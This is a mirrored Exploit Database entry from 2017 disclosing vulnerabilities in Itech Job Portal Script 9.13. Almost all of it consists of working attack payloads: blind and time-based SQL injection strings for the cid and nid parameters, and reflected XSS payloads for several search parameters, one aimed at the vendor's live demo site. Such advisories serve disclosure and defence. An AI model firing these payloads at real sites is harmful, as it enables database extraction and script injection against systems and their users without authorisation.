Itech Job Portal Script 9.13 – Multiple Vulnerabilities

• Exploit Database
• 35 阅读

• 作者： Th3GundY
  日期： 2017-02-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41250/

• # Exploit Title 	:Itech Job Portal Script - Multiple Vulnerabilities
  # Author 		:Yunus YILDIRIM (Th3GundY)
  # Team 			:CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
  # Website 		:http://www.yunus.ninja
  # Contact 		:yunusyildirim@protonmail.com
  
  # Vendor Homepage 	: http://itechscripts.com/
  # Software Link	: http://itechscripts.com/job-portal-script/
  # Vuln. Version		: 9.13
  # Demo			: http://job-portal.itechscripts.com/
  
  
  # # # #DETAILS# # # # 
  
  SQL Injections :
  
  # 1
  http://localhost/career_advice_details.php?cid=5
  Parameter: cid (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cid=5' AND 7504=7504-- zpmu
  
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 OR time-based blind (comment)
  Payload: cid=5' OR SLEEP(5)#
  
  # 2
  http://localhost/news_details_us.php?nid=1
  Parameter: nid (GET)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: nid=1' RLIKE (SELECT (CASE WHEN (2796=2796) THEN 1 ELSE 0x28 END))-- WmMl
  
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 OR time-based blind
  Payload: nid=1' OR SLEEP(5)-- UoUN
  
  # # # # # # # # # # # # # # # # # # # # # # # # 
  
  Cross site scriptings (XSS) :
  
  # 1
  http://localhost/search_result_alluser.php?function="><svg/onload=prompt('CT-Zer0');>
  Parameter: function (GET)
  Payload: "><svg/onload=prompt('CT-Zer0');>
  
  # 2
  http://localhost/search_result_alluser.php?ind="><svg/onload=prompt('CT-Zer0');>
  Parameter: ind (GET)
  Payload: "><svg/onload=prompt('CT-Zer0');>
  
  # 3
  http://localhost/search_result_alluser.php?loc="><svg/onload=prompt('CT-Zer0');>
  Parameter: loc (GET)
  Payload: "><svg/onload=prompt('CT-Zer0');>
  
  # 4
  http://localhost/search_result_alluser.php?compid="><svg/onload=prompt('CT-Zer0');>
  Parameter: compid (GET)
  Payload: "><svg/onload=prompt('CT-Zer0');>
  
  # 5
  http://job-portal.itechscripts.com/search_result_alluser.php?days_chk="><svg/onload=prompt('CT-Zer0');>
  Parameter: days_chk (GET)
  Payload: "><svg/onload=prompt('CT-Zer0');>